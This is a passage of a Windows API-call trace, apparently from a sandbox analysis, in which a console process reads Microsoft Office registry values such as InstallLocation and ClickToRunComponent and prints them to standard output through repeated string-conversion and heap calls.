GetFileType (hFile=0x50) returned 0x1 [0146.947] lstrlenW (lpString="REG_SZ") returned 6 [0146.947] GetConsoleOutputCP () returned 0x1b5 [0146.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.947] GetConsoleOutputCP () returned 0x1b5 [0146.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.947] __iob_func () returned 0x7fefd702a80 [0146.947] _fileno (_File=0x7fefd702ab0) returned 1 [0146.947] _errno () returned 0xc4bb0 [0146.947] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.947] _errno () returned 0xc4bb0 [0146.947] GetFileType (hFile=0x50) returned 0x1 [0146.947] lstrlenW (lpString=" ") returned 4 [0146.947] GetConsoleOutputCP () returned 0x1b5 [0146.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.947] GetConsoleOutputCP () returned 0x1b5 [0146.947] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.947] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.947] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.948] __iob_func () returned 0x7fefd702a80 [0146.948] _fileno (_File=0x7fefd702ab0) returned 1 [0146.948] _errno () returned 0xc4bb0 [0146.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.948] _errno () returned 0xc4bb0 [0146.948] GetFileType (hFile=0x50) returned 0x1 [0146.948] lstrlenW (lpString="Microsoft Corporation") returned 21 [0146.948] GetConsoleOutputCP () returned 0x1b5 [0146.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0146.948] GetConsoleOutputCP () returned 0x1b5 [0146.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Corporation", cchWideChar=21, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Corporation", lpUsedDefaultChar=0x0) returned 21 [0146.948] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 21 [0146.948] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.948] __iob_func () returned 0x7fefd702a80 [0146.948] _fileno (_File=0x7fefd702ab0) returned 1 [0146.948] _errno () returned 0xc4bb0 [0146.948] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.948] _errno () returned 0xc4bb0 [0146.948] GetFileType (hFile=0x50) returned 0x1 [0146.948] lstrlenW (lpString="\n") returned 1 [0146.948] GetConsoleOutputCP () returned 0x1b5 [0146.948] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.949] GetConsoleOutputCP () returned 0x1b5 [0146.949] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.949] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.949] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.949] GetProcessHeap () returned 0x2e0000 [0146.949] GetProcessHeap () returned 0x2e0000 [0146.949] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890) returned 1 [0146.949] GetProcessHeap () returned 0x2e0000 [0146.949] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f7890) returned 0x30 [0146.949] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f7890 | out: hHeap=0x2e0000) returned 1 [0146.949] RegEnumValueW (in: hKey=0x5c, dwIndex=0x9, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="InstallLocation", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.949] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x46) returned 0x0 [0146.949] GetProcessHeap () returned 0x2e0000 [0146.949] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x48) returned 0x2f9cc0 [0146.949] GetProcessHeap () returned 0x2e0000 [0146.949] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0146.949] GetProcessHeap () returned 0x2e0000 [0146.949] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x48 [0146.949] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="InstallLocation", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2f9cc0, pcbData=0x23f670*=0x46 | out: pdwType=0x23f5f0*=0x1, pvData="C:\\Program Files\\Microsoft Office", pcbData=0x23f670*=0x44) returned 0x0 [0146.949] __iob_func () returned 0x7fefd702a80 [0146.949] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.949] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.949] _fileno (_File=0x7fefd702ab0) returned 1 [0146.949] _errno () returned 0xc4bb0 [0146.949] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.949] _errno () returned 0xc4bb0 [0146.949] GetFileType (hFile=0x50) returned 0x1 [0146.949] lstrlenW (lpString=" ") returned 4 [0146.950] GetConsoleOutputCP () returned 0x1b5 [0146.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.950] GetConsoleOutputCP () returned 0x1b5 [0146.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.950] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.950] lstrlenW (lpString="InstallLocation") returned 15 [0146.950] __iob_func () returned 0x7fefd702a80 [0146.950] _fileno (_File=0x7fefd702ab0) returned 1 [0146.950] _errno () returned 0xc4bb0 [0146.950] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.950] _errno () returned 0xc4bb0 [0146.950] GetFileType (hFile=0x50) returned 0x1 [0146.950] lstrlenW (lpString="InstallLocation") returned 15 [0146.950] GetConsoleOutputCP () returned 0x1b5 [0146.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0146.950] GetConsoleOutputCP () returned 0x1b5 [0146.950] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="InstallLocation", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="InstallLocation", lpUsedDefaultChar=0x0) returned 15 [0146.950] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0146.950] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.951] __iob_func () returned 0x7fefd702a80 [0146.951] _fileno (_File=0x7fefd702ab0) returned 1 [0146.951] _errno () returned 0xc4bb0 [0146.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.951] _errno () returned 0xc4bb0 [0146.951] GetFileType (hFile=0x50) returned 0x1 [0146.951] lstrlenW (lpString=" ") returned 4 [0146.951] GetConsoleOutputCP () returned 0x1b5 [0146.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.951] GetConsoleOutputCP () returned 0x1b5 [0146.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.951] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.951] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.951] __iob_func () returned 0x7fefd702a80 [0146.951] _fileno (_File=0x7fefd702ab0) returned 1 [0146.951] _errno () returned 0xc4bb0 [0146.951] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.951] _errno () returned 0xc4bb0 [0146.951] GetFileType (hFile=0x50) returned 0x1 [0146.951] lstrlenW (lpString="REG_SZ") returned 6 [0146.951] GetConsoleOutputCP () returned 0x1b5 [0146.951] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0146.952] GetConsoleOutputCP () returned 0x1b5 [0146.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0146.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0146.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.952] __iob_func () returned 0x7fefd702a80 [0146.952] _fileno (_File=0x7fefd702ab0) returned 1 [0146.952] _errno () returned 0xc4bb0 [0146.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.952] _errno () returned 0xc4bb0 [0146.952] GetFileType (hFile=0x50) returned 0x1 [0146.952] lstrlenW (lpString=" ") returned 4 [0146.952] GetConsoleOutputCP () returned 0x1b5 [0146.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.952] GetConsoleOutputCP () returned 0x1b5 [0146.952] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.952] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.952] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.952] __iob_func () returned 0x7fefd702a80 [0146.952] _fileno (_File=0x7fefd702ab0) returned 1 [0146.952] _errno () returned 0xc4bb0 [0146.952] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.952] _errno () returned 0xc4bb0 [0146.953] GetFileType (hFile=0x50) returned 0x1 [0146.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office") returned 33 [0146.953] GetConsoleOutputCP () returned 0x1b5 [0146.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0146.953] GetConsoleOutputCP () returned 0x1b5 [0146.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Microsoft Office", cchWideChar=33, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Microsoft Office", lpUsedDefaultChar=0x0) returned 33 [0146.953] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 33 [0146.953] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.953] __iob_func () returned 0x7fefd702a80 [0146.953] _fileno (_File=0x7fefd702ab0) returned 1 [0146.953] _errno () returned 0xc4bb0 [0146.953] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.953] _errno () returned 0xc4bb0 [0146.953] GetFileType (hFile=0x50) returned 0x1 [0146.953] lstrlenW (lpString="\n") returned 1 [0146.953] GetConsoleOutputCP () returned 0x1b5 [0146.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.953] GetConsoleOutputCP () returned 0x1b5 [0146.953] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.954] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.954] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.954] GetProcessHeap () returned 0x2e0000 [0146.954] GetProcessHeap () returned 0x2e0000 [0146.954] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0) returned 1 [0146.954] GetProcessHeap () returned 0x2e0000 [0146.954] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2f9cc0) returned 0x48 [0146.954] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2f9cc0 | out: hHeap=0x2e0000) returned 1 [0146.954] RegEnumValueW (in: hKey=0x5c, dwIndex=0xa, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="ClickToRunComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0146.954] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ClickToRunComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0146.954] GetProcessHeap () returned 0x2e0000 [0146.954] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0146.954] GetProcessHeap () returned 0x2e0000 [0146.954] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.954] GetProcessHeap () returned 0x2e0000 [0146.954] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.954] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="ClickToRunComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0146.954] __iob_func () returned 0x7fefd702a80 [0146.954] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.954] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0146.954] _fileno (_File=0x7fefd702ab0) returned 1 [0146.954] _errno () returned 0xc4bb0 [0146.954] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.954] _errno () returned 0xc4bb0 [0146.954] GetFileType (hFile=0x50) returned 0x1 [0146.954] lstrlenW (lpString=" ") returned 4 [0146.954] GetConsoleOutputCP () returned 0x1b5 [0146.954] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.955] GetConsoleOutputCP () returned 0x1b5 [0146.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.955] lstrlenW (lpString="ClickToRunComponent") returned 19 [0146.955] __iob_func () returned 0x7fefd702a80 [0146.955] _fileno (_File=0x7fefd702ab0) returned 1 [0146.955] _errno () returned 0xc4bb0 [0146.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.955] _errno () returned 0xc4bb0 [0146.955] GetFileType (hFile=0x50) returned 0x1 [0146.955] lstrlenW (lpString="ClickToRunComponent") returned 19 [0146.955] GetConsoleOutputCP () returned 0x1b5 [0146.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ClickToRunComponent", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0146.955] GetConsoleOutputCP () returned 0x1b5 [0146.955] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="ClickToRunComponent", cchWideChar=19, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ClickToRunComponent", lpUsedDefaultChar=0x0) returned 19 [0146.955] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 19 [0146.955] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.955] __iob_func () returned 0x7fefd702a80 [0146.955] _fileno (_File=0x7fefd702ab0) returned 1 [0146.955] _errno () returned 0xc4bb0 [0146.955] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.955] _errno () returned 0xc4bb0 [0146.956] GetFileType (hFile=0x50) returned 0x1 [0146.956] lstrlenW (lpString=" ") returned 4 [0146.956] GetConsoleOutputCP () returned 0x1b5 [0146.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.956] GetConsoleOutputCP () returned 0x1b5 [0146.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.956] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.956] __iob_func () returned 0x7fefd702a80 [0146.956] _fileno (_File=0x7fefd702ab0) returned 1 [0146.956] _errno () returned 0xc4bb0 [0146.956] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.956] _errno () returned 0xc4bb0 [0146.956] GetFileType (hFile=0x50) returned 0x1 [0146.956] lstrlenW (lpString="REG_DWORD") returned 9 [0146.956] GetConsoleOutputCP () returned 0x1b5 [0146.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0146.956] GetConsoleOutputCP () returned 0x1b5 [0146.956] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0146.956] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0146.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.957] __iob_func () returned 0x7fefd702a80 [0146.957] _fileno (_File=0x7fefd702ab0) returned 1 [0146.957] _errno () returned 0xc4bb0 [0146.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.957] _errno () returned 0xc4bb0 [0146.957] GetFileType (hFile=0x50) returned 0x1 [0146.957] lstrlenW (lpString=" ") returned 4 [0146.957] GetConsoleOutputCP () returned 0x1b5 [0146.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0146.957] GetConsoleOutputCP () returned 0x1b5 [0146.957] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0146.957] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0146.957] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.957] __iob_func () returned 0x7fefd702a80 [0146.957] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0146.957] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0146.957] _fileno (_File=0x7fefd702ab0) returned 1 [0146.957] _errno () returned 0xc4bb0 [0146.957] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.957] _errno () returned 0xc4bb0 [0146.957] GetFileType (hFile=0x50) returned 0x1 [0146.957] lstrlenW (lpString="0x1") returned 3 [0146.957] GetConsoleOutputCP () returned 0x1b5 [0146.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0146.958] GetConsoleOutputCP () returned 0x1b5 [0146.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0146.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0146.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.958] __iob_func () returned 0x7fefd702a80 [0146.958] _fileno (_File=0x7fefd702ab0) returned 1 [0146.958] _errno () returned 0xc4bb0 [0146.958] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.958] _errno () returned 0xc4bb0 [0146.958] GetFileType (hFile=0x50) returned 0x1 [0146.958] lstrlenW (lpString="\n") returned 1 [0146.958] GetConsoleOutputCP () returned 0x1b5 [0146.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.958] GetConsoleOutputCP () returned 0x1b5 [0146.958] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.958] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.958] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.958] GetProcessHeap () returned 0x2e0000 [0146.958] GetProcessHeap () returned 0x2e0000 [0146.959] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0146.959] GetProcessHeap () returned 0x2e0000 [0146.959] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0146.959] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0146.959] __iob_func () returned 0x7fefd702a80 [0146.959] _fileno (_File=0x7fefd702ab0) returned 1 [0146.959] _errno () returned 0xc4bb0 [0146.959] _get_osfhandle (_FileHandle=1) returned 0x50 [0146.959] _errno () returned 0xc4bb0 [0146.959] GetFileType (hFile=0x50) returned 0x1 [0146.959] lstrlenW (lpString="\n") returned 1 [0146.959] GetConsoleOutputCP () returned 0x1b5 [0146.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0146.959] GetConsoleOutputCP () returned 0x1b5 [0146.959] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0146.959] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0146.959] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0146.960] 